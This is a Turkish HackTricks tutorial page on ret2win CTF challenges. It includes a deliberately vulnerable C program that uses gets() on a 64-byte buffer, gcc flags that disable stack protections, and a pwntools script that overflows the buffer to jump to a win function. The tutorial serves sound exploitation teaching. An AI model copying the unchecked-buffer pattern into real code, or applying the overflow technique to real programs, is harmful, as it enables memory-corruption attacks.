Ret2win

Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Ret2win zorlukları, özellikle binary exploitation içeren görevlerde, Capture The Flag (CTF) yarışmalarında popüler bir kategoridir. Amaç, verilen bir binary'deki bir zafiyeti sömürerek, genellikle win, flag vb. adlarla adlandırılan belirli bir çağrılmamış işlevi yürütmektir. Bu işlev, çalıştırıldığında genellikle bir bayrak veya başarı mesajı yazdırır. Genellikle, istenen işleve yürütme akışını yönlendirmek için stack üzerindeki dönüş adresini değiştirerek bir zafiyeti sömürmeyi içerir. İşte örneklerle daha detaylı bir açıklama:

C Örneği

Zafiyeti olan basit bir C programı ve çağırmayı amaçladığımız bir win işlevi düşünün:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

Bu programı yığın korumaları olmadan ve ASLR devre dışı bırakılarak derlemek için aşağıdaki komutu kullanabilirsiniz:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: Programı 32 bitlik bir ikili olarak derler (bu isteğe bağlıdır ancak CTF zorluklarında yaygındır).

  • -fno-stack-protector: Stack overflow'lara karşı korumaları devre dışı bırakır.

  • -z execstack: Stack üzerinde kodun çalışmasına izin verir.

  • -no-pie: Adresin win fonksiyonunun değişmediğinden emin olmak için Konum Bağımsız Yürütülebilir'i devre dışı bırakır.

  • -o vulnerable: Çıkış dosyasını vulnerable olarak adlandırır.

Pwntools Kullanarak Python Sızma

Sızma için güçlü bir CTF çerçevesi olan pwntools kullanacağız. Sızma betiği, tamponu taşırarak ve dönüş adresini win fonksiyonunun adresiyle değiştirerek bir saldırı yükü oluşturacaktır.

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

win fonksiyonunun adresini bulmak için gdb, objdump veya binary dosyaları incelemenize izin veren diğer araçları kullanabilirsiniz. Örneğin, objdump ile şunu kullanabilirsiniz:

objdump -d vulnerable | grep win

Bu komut, win fonksiyonunun montajını ve başlangıç adresini gösterecektir.

Python betiği, vulnerable_function tarafından işlendiğinde, tamamen oluşturulmuş bir ileti gönderir ve tamponu taşırarak yığın üzerindeki dönüş adresini win adresiyle üzer yazar. vulnerable_function geri döndüğünde, maine dönmemek veya çıkmamak yerine wine atlar ve ileti yazdırılır.

Korumalar

  • Adresin güvenilir olması için PIE devre dışı bırakılmalıdır veya işlevin depolanacağı adres her zaman aynı olmayacak ve win fonksiyonunun nerede yüklendiğini belirlemek için sızıntıya ihtiyacınız olacaktır. Bazı durumlarda, taşmayı tetikleyen işlev read veya benzeri olduğunda, dönüş adresini win fonksiyonu olacak şekilde değiştirmek için 1 veya 2 baytlık bir Kısmi Üzerine Yazma yapabilirsiniz. ASLR'nin çalışma şeklinden dolayı, son üç onaltılık hane rastgele değil, bu yüzden doğru dönüş adresini almak için 1/16 şans (1 onaltılık) vardır.

  • Yığın Kanaryaları da devre dışı bırakılmalıdır veya tehlikeye atılan EIP dönüş adresi asla takip edilmeyecektir.

Diğer örnekler ve Referanslar

ARM64 Örneği

pageRet2win - arm64
Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'i desteklemenin diğer yolları:

Last updated